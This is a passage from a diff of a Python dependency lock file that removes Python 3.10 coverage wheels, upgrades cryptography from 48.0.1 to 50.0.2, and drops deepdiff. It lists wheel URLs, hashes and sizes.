"sha256:a32ebc02a1805adf637fc8dec324b5cdacd2e493515424f70ee33799573d661b", size = 219667, upload-time = "2026-02-09T12:56:13.33Z" }, - { url = "https://files.pythonhosted.org/packages/82/a4/c1523f7c9e47b2271dbf8c2a097e7a1f89ef0d66f5840bb59b7e8814157b/coverage-7.13.4-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e24f9156097ff9dc286f2f913df3a7f63c0e333dcafa3c196f2c18b4175ca09a", size = 246425, upload-time = "2026-02-09T12:56:14.552Z" }, - { url = "https://files.pythonhosted.org/packages/f8/02/aa7ec01d1a5023c4b680ab7257f9bfde9defe8fdddfe40be096ac19e8177/coverage-7.13.4-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8041b6c5bfdc03257666e9881d33b1abc88daccaf73f7b6340fb7946655cd10f", size = 248229, upload-time = "2026-02-09T12:56:16.31Z" }, - { url = "https://files.pythonhosted.org/packages/35/98/85aba0aed5126d896162087ef3f0e789a225697245256fc6181b95f47207/coverage-7.13.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a09cfa6a5862bc2fc6ca7c3def5b2926194a56b8ab78ffcf617d28911123012", size = 250106, upload-time = "2026-02-09T12:56:18.024Z" }, - { url = "https://files.pythonhosted.org/packages/96/72/1db59bd67494bc162e3e4cd5fbc7edba2c7026b22f7c8ef1496d58c2b94c/coverage-7.13.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:296f8b0af861d3970c2a4d8c91d48eb4dd4771bcef9baedec6a9b515d7de3def", size = 252021, upload-time = "2026-02-09T12:56:19.272Z" }, - { url = "https://files.pythonhosted.org/packages/9d/97/72899c59c7066961de6e3daa142d459d47d104956db43e057e034f015c8a/coverage-7.13.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e101609bcbbfb04605ea1027b10dc3735c094d12d40826a60f897b98b1c30256", size = 247114, upload-time = "2026-02-09T12:56:21.051Z" }, - { url = "https://files.pythonhosted.org/packages/39/1f/f1885573b5970235e908da4389176936c8933e86cb316b9620aab1585fa2/coverage-7.13.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aa3feb8db2e87ff5e6d00d7e1480ae241876286691265657b500886c98f38bda", size = 248143, upload-time = "2026-02-09T12:56:22.585Z" }, - { url = "https://files.pythonhosted.org/packages/a8/cf/e80390c5b7480b722fa3e994f8202807799b85bc562aa4f1dde209fbb7be/coverage-7.13.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4fc7fa81bbaf5a02801b65346c8b3e657f1d93763e58c0abdf7c992addd81a92", size = 246152, upload-time = "2026-02-09T12:56:23.748Z" }, - { url = "https://files.pythonhosted.org/packages/44/bf/f89a8350d85572f95412debb0fb9bb4795b1d5b5232bd652923c759e787b/coverage-7.13.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:33901f604424145c6e9c2398684b92e176c0b12df77d52db81c20abd48c3794c", size = 249959, upload-time = "2026-02-09T12:56:25.209Z" }, - { url = "https://files.pythonhosted.org/packages/f7/6e/612a02aece8178c818df273e8d1642190c4875402ca2ba74514394b27aba/coverage-7.13.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:bb28c0f2cf2782508a40cec377935829d5fcc3ad9a3681375af4e84eb34b6b58", size = 246416, upload-time = "2026-02-09T12:56:26.475Z" }, - { url = "https://files.pythonhosted.org/packages/cb/98/b5afc39af67c2fa6786b03c3a7091fc300947387ce8914b096db8a73d67a/coverage-7.13.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9d107aff57a83222ddbd8d9ee705ede2af2cc926608b57abed8ef96b50b7e8f9", size = 247025, upload-time = "2026-02-09T12:56:27.727Z" }, - { url = "https://files.pythonhosted.org/packages/51/30/2bba8ef0682d5bd210c38fe497e12a06c9f8d663f7025e9f5c2c31ce847d/coverage-7.13.4-cp310-cp310-win32.whl", hash = "sha256:a6f94a7d00eb18f1b6d403c91a88fd58cfc92d4b16080dfdb774afc8294469bf", size = 221758, upload-time = "2026-02-09T12:56:29.051Z" }, - { url = "https://files.pythonhosted.org/packages/78/13/331f94934cf6c092b8ea59ff868eb587bc8fe0893f02c55bc6c0183a192e/coverage-7.13.4-cp310-cp310-win_amd64.whl", hash = "sha256:2cb0f1e000ebc419632bbe04366a8990b6e32c4e0b51543a6484ffe15eaeda95", size = 222693, upload-time = "2026-02-09T12:56:30.366Z" }, { url = "https://files.pythonhosted.org/packages/b4/ad/b59e5b451cf7172b8d1043dc0fa718f23aab379bc1521ee13d4bd9bfa960/coverage-7.13.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d490ba50c3f35dd7c17953c68f3270e7ccd1c6642e2d2afe2d8e720b98f5a053", size = 219278, upload-time = "2026-02-09T12:56:31.673Z" }, { url = "https://files.pythonhosted.org/packages/f1/17/0cb7ca3de72e5f4ef2ec2fa0089beafbcaaaead1844e8b8a63d35173d77d/coverage-7.13.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:19bc3c88078789f8ef36acb014d7241961dbf883fd2533d18cb1e7a5b4e28b11", size = 219783, upload-time = "2026-02-09T12:56:33.104Z" }, { url = "https://files.pythonhosted.org/packages/ab/63/325d8e5b11e0eaf6d0f6a44fad444ae58820929a9b0de943fa377fe73e85/coverage-7.13.4-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3998e5a32e62fdf410c0dbd3115df86297995d6e3429af80b8798aad894ca7aa", size = 250200, upload-time = "2026-02-09T12:56:34.474Z" }, @@ -1050,105 +901,89 @@ toml = [ [[package]] name = "cryptography" -version = "48.0.1" +version = "50.0.2" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, - { name = "typing-extensions", marker = "python_full_version < '3.11'" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/12/45/870e7f4bef50e5f53b9f51d4428aee5290eedf58ba443f16b1ebb7ab8e66/cryptography-48.0.1.tar.gz", hash = "sha256:266f4ee051abb2f725b74ef8072b521ce1feacf685a3364fa6a6b45548db791a", size = 832989, upload-time = "2026-06-09T22:32:31.8Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/1b/bc/ee4137cbbe105652c0ee4252792b78fc8e7afa4b8e61d9d5dc05a7f45731/cryptography-48.0.1-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:3e4a1a3232eef2e6c732827d5722db29a0cc8b27af2a4d865b094cf954be9ca1", size = 8008324, upload-time = "2026-06-09T22:31:00.702Z" }, - { url = "https://files.pythonhosted.org/packages/d5/85/6379d42181bfc713094f081360fc5784d6c816b599d45e7f082502d173ce/cryptography-48.0.1-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:32143b24adb918f078134e1e230f1eb8cc04886b92c28b5f0041aaf3e5699225", size = 4696243, upload-time = "2026-06-09T22:32:33.446Z" }, - { url = "https://files.pythonhosted.org/packages/9c/87/c85d147b53323c7eb4d850920c8901377323c2a0ff8d79c262d4fee89aa2/cryptography-48.0.1-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f0d27a5696721ef7a672b8c810f6aded391058e0b9486e63e6d93baf765da691", size = 4713235, upload-time = "2026-06-09T22:31:40.141Z" }, - { url = "https://files.pythonhosted.org/packages/79/58/67cbf8cf1ee7c54b439ca07bbecf8362c07afc11a3724fea70f745784add/cryptography-48.0.1-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:eb86ce1af36fe65041b6db9a8bb064ee621a7e5fded0f80d475ec243477cd242", size = 4702323, upload-time = "2026-06-09T22:31:42.191Z" }, - { url = "https://files.pythonhosted.org/packages/89/c6/24266ac10c47f6cd2a865f4446062b466da1d1f10b27189eac00e61bf0c9/cryptography-48.0.1-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:b024e784ad6c077ee0147b35ea9cbfc1e34e1fd4c1dcca214c2794d73a12df08", size = 5300085, upload-time = "2026-06-09T22:31:58.703Z" }, - { url = "https://files.pythonhosted.org/packages/d2/bb/cc4b78784f97efc8c5874c2a9743708d172be6663024b34a0467885ae0c8/cryptography-48.0.1-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3752f2dbc8f07a30aad2932c986cea495b03bb554887828225da104f732852b6", size = 4746137, upload-time = "2026-06-09T22:31:31.01Z" }, - { url = "https://files.pythonhosted.org/packages/1f/52/0c44de3f5267f8fbe8e835138017522a333436166e406f0db9b9e6e3033f/cryptography-48.0.1-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:bd81490cd5801d755cf97bb68ac191f14b708470b1c7cf4580f669b9c9264cd8", size = 4333867, upload-time = "2026-06-09T22:32:28.096Z" }, - { url = "https://files.pythonhosted.org/packages/9a/2e/772d7adbfa931537bc401640b7cac9976bff689bda187833e5d63b428e49/cryptography-48.0.1-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:66fd0771e7b9c6dcd44cf1120690d2338d16d72795cf40cae2786a39eba65429", size = 4701805, upload-time = "2026-06-09T22:31:38.284Z" }, - { url = "https://files.pythonhosted.org/packages/f8/a3/b06844f303873493c963caf581c04df31c7035e0c1b0f02c4814d319ec80/cryptography-48.0.1-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:3fd2ca57062b241c856670b073487d2e86c4637937ca5601e48f97bf8e11fc8f", size = 5258461, upload-time = "2026-06-09T22:31:04.187Z" }, - { url = "https://files.pythonhosted.org/packages/9f/13/8b765e2e12b07c74941caadb9d1c8fdc006c4dfbf2b8f2d610519758954d/cryptography-48.0.1-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:0ee6ea481db1ab889cba043ec1eda17bb9c1ea79db6722f779c3667f9f70322f", size = 4745488, upload-time = "2026-06-09T22:32:30.07Z" }, - { url = "https://files.pythonhosted.org/packages/2e/aa/48972bce55049b32a94f4907eda4d75fa385aad8a39506cc2fc72196ecf0/cryptography-48.0.1-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f2ceef93cb096aa3c4cc4b5c94ca6131f9196d28c64d6111533402a9b2054d41", size = 4830256, upload-time = "2026-06-09T22:31:43.868Z" }, - { url = "https://files.pythonhosted.org/packages/47/a2/e5079a032fb85cf6005046ca92bbd78b0c82dad2b5751ab8c311659da06f/cryptography-48.0.1-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:9bd3f92d76217892b15df84ca256c2c113d386fdda7a7d8691aeeced976507c6", size = 4979117, upload-time = "2026-06-09T22:31:05.845Z" }, - { url = "https://files.pythonhosted.org/packages/b7/a0/8f50cae9c74e718ed769d63ed5c74bd0ea830c9550a74629cebd1b9c7bc7/cryptography-48.0.1-cp311-abi3-win32.whl", hash = "sha256:b9a32b876490d66c8bcc9963ef220199569748434ab01a9d6aaeabf88e7f5158", size = 3304154, upload-time = "2026-06-09T22:32:16.845Z" }, - { url = "https://files.pythonhosted.org/packages/c5/69/0572c77dbace6fef72f33755bd52ea399c71367250d366237f8691826b9e/cryptography-48.0.1-cp311-abi3-win_amd64.whl", hash = "sha256:39489bfca54c7a1f6b297efcd8bc608ab92d16c4ca631b0cad4da46724588b24", size = 3817138, upload-time = "2026-06-09T22:32:00.388Z" }, - { url = "https://files.pythonhosted.org/packages/42/06/3e768b4c3bc78201583fa35a0e18f640dd782ff41afba88f8545481a8874/cryptography-48.0.1-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:f817adc181390bd54f2f700107a7419040fb7c1bdf2fc26f36551a06a68c3345", size = 7989830, upload-time = "2026-06-09T22:31:07.8Z" }, - { url = "https://files.pythonhosted.org/packages/8a/13/6476736484b94041110c8340a3eb63962fea4975baea8cb4a512adb44d4d/cryptography-48.0.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d5d30989c6917b478b5817902e85fddaea2261efa8648383d965381ccb9e1ac4", size = 4689201, upload-time = "2026-06-09T22:31:09.745Z" }, - { url = "https://files.pythonhosted.org/packages/79/62/65a87f34d2a431546e2509b85d55e8c90df86d668f6731da64d538512ac2/cryptography-48.0.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:df637c05205ea7c1d7fbcbe54bbfea648a52951155f997af13d895d0ecc96991", size = 4702822, upload-time = "2026-06-09T22:32:24.409Z" }, - { url = "https://files.pythonhosted.org/packages/7f/59/810b5204b0a9b10f4b6bc06bd551a8b609803cd931806bc3b71884b225e5/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:869c3b8a53bfe27147832df48b32adadf558249d50e76cb3769d40e986b13265", size = 4694875, upload-time = "2026-06-09T22:32:08.737Z" }, - { url = "https://files.pythonhosted.org/packages/24/dc/d8ca05ffea724eec6d232ea6f18e74c269eb6bdfdcc9bfba689790d1325f/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:e361afba8918070d376df76f408a4f67fec0ee9cff81a99e48fe9a233ef59e17", size = 5290385, upload-time = "2026-06-09T22:31:15.212Z" }, - { url = "https://files.pythonhosted.org/packages/03/8c/3be6cb4da181f5bb6c19cf560c2359d60644a6b5fc5b57854e528f47b296/cryptography-48.0.1-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:d069066deead00ac7f090be101be875a06855908f7ec004c27b8fefb4acfb411", size = 4737082, upload-time = "2026-06-09T22:32:22.66Z" }, - { url = "https://files.pythonhosted.org/packages/aa/f6/d5f60a5a1434dbfd949e227fd0065d194c7e6b6ac526b17f5c06152b8231/cryptography-48.0.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:09f73a725d582cef64b91281a322cd798d14a33b2b6f2b7ad9531dc336d84c02", size = 4325328, upload-time = "2026-06-09T22:32:10.777Z" }, - { url = "https://files.pythonhosted.org/packages/17/b7/ba75dd947a14b6ad907b01ae8f6b5b348cdd1b48142f0063dee9e20c1d9d/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:15254441469dd6bf027039453288e2072124f8b6603563f5d759e1c9b69273fa", size = 4694530, upload-time = "2026-06-09T22:31:53.105Z" }, - { url = "https://files.pythonhosted.org/packages/62/29/50d6b9e8aff12d8b67afaeb3569335e32dc83a5723e3bbded24fdac9f809/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:8ace4507d1e6533c125f4fac754f8bb8b6a74c08e92179dabd7e16571a3efbf3", size = 5245046, upload-time = "2026-06-09T22:31:25.774Z" }, - { url = "https://files.pythonhosted.org/packages/9f/04/618f4115cfc0add0838c82507aa18a346089428da8653ad38b3ff36f5cb3/cryptography-48.0.1-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:b4e391975f038e66432328639620a4aff2d307513b004f1ca06d6225bced815c", size = 4736660, upload-time = "2026-06-09T22:32:12.676Z" }, - { url = "https://files.pythonhosted.org/packages/24/9c/06e062462a0de28a3b3911322eded4c16deb9f441b1b7575d3dc59488ab5/cryptography-48.0.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:42fcd8e26fe555d9b3577a135f5091fefa0aa4e99129c23fb56787a1bd4ada72", size = 4822229, upload-time = "2026-06-09T22:31:17.062Z" }, - { url = "https://files.pythonhosted.org/packages/f4/be/0561971eaaee4b8a0e7d5113c536921063ab91aaf23278ac374eaf881e11/cryptography-48.0.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c1400da5e32a43253392277eac7490a60e497d810a63dd5608d71bbd7af507c9", size = 4966364, upload-time = "2026-06-09T22:31:32.842Z" }, - { url = "https://files.pythonhosted.org/packages/a4/27/728c77876f12b000820b69ae490f3c4083775e79e07827e9e60be07ad209/cryptography-48.0.1-cp314-cp314t-win32.whl", hash = "sha256:0df56b056bc17c1b7d6821dfa65216e62bd232d8ab05eb3db44e71d235651471", size = 3278498, upload-time = "2026-06-09T22:31:29.154Z" }, - { url = "https://files.pythonhosted.org/packages/06/e3/79a612c6d7b1e6ee0edd43633d53035bec2cfb78c82b76f7864f39e36f34/cryptography-48.0.1-cp314-cp314t-win_amd64.whl", hash = "sha256:9de21387aa95e2a895823d0745b430bed4f33503ba9ab5e0b5311f33e37d66d2", size = 3798790, upload-time = "2026-06-09T22:31:56.697Z" }, - { url = "https://files.pythonhosted.org/packages/ca/6c/00fa2a95997164c8b2072ce327c23d4ab20809ccc323ea5fab91e53a4bba/cryptography-48.0.1-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:4fdc69f8e4316bcf0c8c8ec1f26f285d12e8142d88d96c876a59a03be3f6ae67", size = 7987408, upload-time = "2026-06-09T22:32:20.777Z" }, - { url = "https://files.pythonhosted.org/packages/b0/d9/45f309a7e4e5f3f8f121d6d3be9e94024a7726ec598d6e08ae04edb2f04d/cryptography-48.0.1-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48fe40804d4caa2288f24e70ca8c64c42dd826da0ad7e4f1b41b2128d679e6c8", size = 4690196, upload-time = "2026-06-09T22:31:54.74Z" }, - { url = "https://files.pythonhosted.org/packages/5f/9f/a1bc8bcc798811b8527eb374bbccf30a3f3e806829d967118222bf1125eb/cryptography-48.0.1-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:86be3b1b0b6bf09482fb50a979c508d2950ed95f5621ec77f4e385962006b83a", size = 4696782, upload-time = "2026-06-09T22:31:45.615Z" }, - { url = "https://files.pythonhosted.org/packages/66/c2/81a4fb4e4373c500bb526bc337ac5719dd31dd15b970b84a238168c6aa08/cryptography-48.0.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:4ab0a343c807bbcd90c971cd1ecf072937cd01847a9e002bef88fb47ac6be577", size = 4696618, upload-time = "2026-06-09T22:31:11.564Z" }, - { url = "https://files.pythonhosted.org/packages/e5/0b/aa68b221dde92d09cb29a024ede17550ee21e77a404e59fc093c82bb51e1/cryptography-48.0.1-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:9621de99d2da096006b629979efd8ae7eb2d8b822488d0c89ee4000c306c59b1", size = 5289970, upload-time = "2026-06-09T22:31:20.368Z" }, - { url = "https://files.pythonhosted.org/packages/78/13/fba657f958d2af66ea959a4ba01212632089249d34af1ae48054136344d7/cryptography-48.0.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:88c852a0ae366e262e5a1744b685e6a433dc8788dd2a277e418bf4904203609d", size = 4731873, upload-time = "2026-06-09T22:31:22.253Z" }, - { url = "https://files.pythonhosted.org/packages/4c/4c/9a964756d24a26b3e34dfcb16f961b89838786e6700b635b0d1e3adff4b6/cryptography-48.0.1-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:43c5835e2cb98c8733d86f57d6fc879b613f5c3478607281c3e36daffc6dd8a6", size = 4330804, upload-time = "2026-06-09T22:31:36.56Z" }, - { url = "https://files.pythonhosted.org/packages/4b/0f/a10f3a6eb12950a10e3a874070283aa2dd5875b2bfd15fad8a3e17b3f13e/cryptography-48.0.1-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:fe0180af5bf9236518a087e35bf2d9a347d5f5f51e63c579d683ddff424e3d46", size = 4696217, upload-time = "2026-06-09T22:31:13.351Z" }, - { url = "https://files.pythonhosted.org/packages/f3/6f/5cd12f951165ea73ef85266775d97e4c763b2474ccfd816dd69d3a18d6f8/cryptography-48.0.1-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:b7a2d1a937a738a881737cec135a38bb61470589b17515b9f73f571d0ae10401", size = 5245252, upload-time = "2026-06-09T22:32:02.193Z" }, - { url = "https://files.pythonhosted.org/packages/68/ab/8aaa12e4516ec4464033ab79b6f3b592bd5a92102467c4ace8a0d970203f/cryptography-48.0.1-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:b74ca3b8e5ecdd833bf6a002ca41b4793bb27fb8f1c06ffaf2643c9e9140e31b", size = 4731388, upload-time = "2026-06-09T22:32:04.019Z" }, - { url = "https://files.pythonhosted.org/packages/1b/24/50027ea4dca85ec1f40688f3c24fb32ccacd520583c9592c3cc95628e6fb/cryptography-48.0.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2c37f2461406063b417837f5f3daab668652acd82423efcd7f0a9f04be972de1", size = 4824186, upload-time = "2026-06-09T22:32:18.707Z" }, - { url = "https://files.pythonhosted.org/packages/52/41/04cb5eb17085ade6f50cc611fb657df6a0f5885350de8764ece89c050197/cryptography-48.0.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:86fe77abb1bd87afb251d4d02ada7ecf53a32cee9b67d976abb2e45a13297475", size = 4964539, upload-time = "2026-06-09T22:31:18.793Z" }, - { url = "https://files.pythonhosted.org/packages/36/bf/ed70785c496e89d7e73b7cda2d21f2447fd6d4e821714b8d04ff217fed92/cryptography-48.0.1-cp39-abi3-win32.whl", hash = "sha256:6b2c0c3e6ccf3ade7750f836ef3ee36eea250cc467d45c256895573ac08cc6f1", size = 3282307, upload-time = "2026-06-09T22:30:53.162Z" }, - { url = "https://files.pythonhosted.org/packages/b3/ff/371ea7d252656ee1eb6d83eeeef3d1d0c6baf1d6497687d081ea03814670/cryptography-48.0.1-cp39-abi3-win_amd64.whl", hash = "sha256:9a49ca6c81417f6a5edb50375a60cccdd70fa0a91a5211829dbea74eba94d2ac", size = 3793408, upload-time = "2026-06-09T22:32:15.191Z" }, - { url = "https://files.pythonhosted.org/packages/a9/d3/eb4e394e587341fdad09a09101fa76478ead3a78b0ad63e55c22f0d75c02/cryptography-48.0.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:08a597acce1ff37f347400087776599e2348a3a8bc53b44120e463cd274efe4a", size = 3951747, upload-time = "2026-06-09T22:31:23.871Z" }, - { url = "https://files.pythonhosted.org/packages/e0/4a/3f43451b4f858bfceaaaffc649e6e787e8d4fb332a1d443af39ab02cc8f1/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:735824ec41b7f74a7c45fb1591349333e4c696cb6c044e5f46356e560143e4cd", size = 4641226, upload-time = "2026-06-09T22:31:02.532Z" }, - { url = "https://files.pythonhosted.org/packages/73/4e/855584c2c23b09e4ce2d3b9c30e983e679cd60b068c513c6bbdb91e11782/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:92a46e1d638daa264ba2971c0b0489c9409787943efae4d60ffda3d091ef832c", size = 4668958, upload-time = "2026-06-09T22:32:06.213Z" }, - { url = "https://files.pythonhosted.org/packages/42/3b/d35750e41d803d1e516fd6d6011f065424924da7af1748cef4cc9cb3ede1/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:7e234ac052af99f2700826a5c29ea99d9c1b1f80341cde62d11c8154dc8e0bd9", size = 4640793, upload-time = "2026-06-09T22:32:26.331Z" }, - { url = "https://files.pythonhosted.org/packages/ca/aa/cdb7181fe865285e87e96825aaab239400f1de0c3bfba9bd9769b79f1a92/cryptography-48.0.1-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:33842cf0888951cef5bc7ac724ab844a42044c1727b967b7f8997289a0464f92", size = 4668505, upload-time = "2026-06-09T22:31:27.534Z" }, - { url = "https://files.pythonhosted.org/packages/5d/8c/ce3823c06c2804f194f9e64f0d67fa3f4094a39f2bb1a990cd03603af8fc/cryptography-48.0.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:6184ca7b174f28d7c703f1290d4b297217c45355f77a98f67e9b7f14549ac54a", size = 3742204, upload-time = "2026-06-09T22:31:34.773Z" }, -] - -[[package]] -name = "deepdiff" -version = "9.1.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "cachebox" }, - { name = "orderly-set" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/f9/6b/6a4a5aaf38535eb332c2856aa08e73ed7c549d0851b1215401af0a2db1a7/deepdiff-9.1.0.tar.gz", hash = "sha256:07e9e366fab4297755153c4eab795ad4ef3cbd0d51660e847f5751c6bd727687", size = 382149, upload-time = "2026-05-15T20:18:05.751Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/c7/26/4a2bad8eb430d8d805a4642c4bff25103a37548d74ab346f8b1e024abcc5/deepdiff-9.1.0-py3-none-any.whl", hash = "sha256:80c0460e1993b04f6f0ca79abf25548b129fd218478c4ebb08f80560f5d10610", size = 184662, upload-time = "2026-05-15T20:18:03.956Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/9d/af/182eb91b0df3fe75c4d9f26fe70684569566745f6ba7e5c9c73a862c5252/cryptography-50.0.2.tar.gz", hash = "sha256:7b46165bb56eb4704e2eaaf86f3c940d19154535d9b0ca7d6d590b04060e00d5", size = 880623, upload-time = "2026-09-30T15:30:04.884Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e5/56/d194340cc4a57535e82e1bee9e89667ac4b7c13b5d3f59686deae3094dd5/cryptography-50.0.2-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fa8f5efb344d6908a1ce62f4a24e2e5780f825d6f53f5f50ec5ffacac72936cb", size = 3914904, upload-time = "2026-09-30T14:43:44.339Z" }, + { url = "https://files.pythonhosted.org/packages/d9/69/c9bd862c3bf43d6399c433caf002df16e2dffd4be49bdf515cda38038711/cryptography-50.0.2-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:79def8d059362e7831389ed3be0ecdf58a89386e1271e35dd9f5af84e81bffd0", size = 4731146, upload-time = "2026-09-30T14:43:47.113Z" }, + { url = "https://files.pythonhosted.org/packages/21/69/64cef1f702bf6657e0cc186ed1a2891d50d29fb41586b254e1c07adea261/cryptography-50.0.2-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:630ebfea3bf689d075f82316324ff7433dc447fe6bc1bfc76524b74b4a9567d2", size = 4719841, upload-time = "2026-09-30T14:43:49.01Z" }, + { url = "https://files.pythonhosted.org/packages/38/6b/61a3f8d8c5e1e49a6cddccafc4015cc1c0021360ab0acb4080e7a423644a/cryptography-50.0.2-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f9f6143a8c75945eb960d9eb98905a441394abfa24afaae239d514ffb2586480", size = 4738340, upload-time = "2026-09-30T14:43:50.932Z" }, + { url = "https://files.pythonhosted.org/packages/7b/2e/7212ca32fd43dc91f2f41db20160b268098874b4c9a0e7be94d6835f5b2e/cryptography-50.0.2-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:a582ab2ae1d34f67112cadc86702774c9ea4374df6bca6afe672817203c99134", size = 5367029, upload-time = "2026-09-30T14:43:52.911Z" }, + { url = "https://files.pythonhosted.org/packages/1a/f1/b474e930c4d910328780e3940da76f5aa5cbc48ce1fc14e44d239d9ea9db/cryptography-50.0.2-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:4061c0079120205fb760c58acab6443e217307dcf05e3702cf970e0689972856", size = 4753050, upload-time = "2026-09-30T14:43:55.272Z" }, + { url = "https://files.pythonhosted.org/packages/7c/52/9af10e80ac16b0fcc2123f9cbd5e7afbd0fd5075bb7a607c592258a39cda/cryptography-50.0.2-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:ac9ed99d81760c62fe89d5f0815cdfa1ba9a35141cf30f1c2d044f04b4803d2e", size = 4376724, upload-time = "2026-09-30T14:43:57.24Z" }, + { url = "https://files.pythonhosted.org/packages/71/37/6202e488cc1eb625ea110c292c6bda92823176e023f427d8d5660ce8d632/cryptography-50.0.2-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:87e9ce85beb6b328ba370cc6e6aea483c92617b4c95b1d33a49297eb662bfb04", size = 4737859, upload-time = "2026-09-30T14:43:59.541Z" }, + { url = "https://files.pythonhosted.org/packages/8f/30/e86d7d518489b0ae2497091a35287abcb1a2ce4037837a34afbe9b1d6964/cryptography-50.0.2-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:f265528741e048bce55c3463ed721fb0aa45a5888d8add8cfeccb3035451bbdc", size = 5324103, upload-time = "2026-09-30T14:44:01.901Z" }, + { url = "https://files.pythonhosted.org/packages/d3/69/2c833a049475e0a3444e94c7d0aca0aa51d166374a449b09e92ac98138de/cryptography-50.0.2-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:9dab55f57c74c3cad24c323bacbbd04be4705ba6eb0d92e920b1fc4837ed5079", size = 4752576, upload-time = "2026-09-30T14:44:04.545Z" }, + { url = "https://files.pythonhosted.org/packages/6c/5d/906970b83bbfc1f5bbfb677a143c181f2801f23b6a7204a3b47c42c97e65/cryptography-50.0.2-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:25784ce8b9621c90c643efb9e1e2162ab3b0224cae446ad5e70e7fcb1ce18b51", size = 4870819, upload-time = "2026-09-30T14:44:06.884Z" }, + { url = "https://files.pythonhosted.org/packages/68/e3/f2298d3bb55e0c4a91841ec4d01b3f020ba8c5fbf15ccdcc6dcf03f97025/cryptography-50.0.2-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:85d0d9a31b9098e98534226d5686b47264b95e62ce459dc2e62fdfc809f9fe93", size = 5030152, upload-time = "2026-09-30T14:44:09.443Z" }, 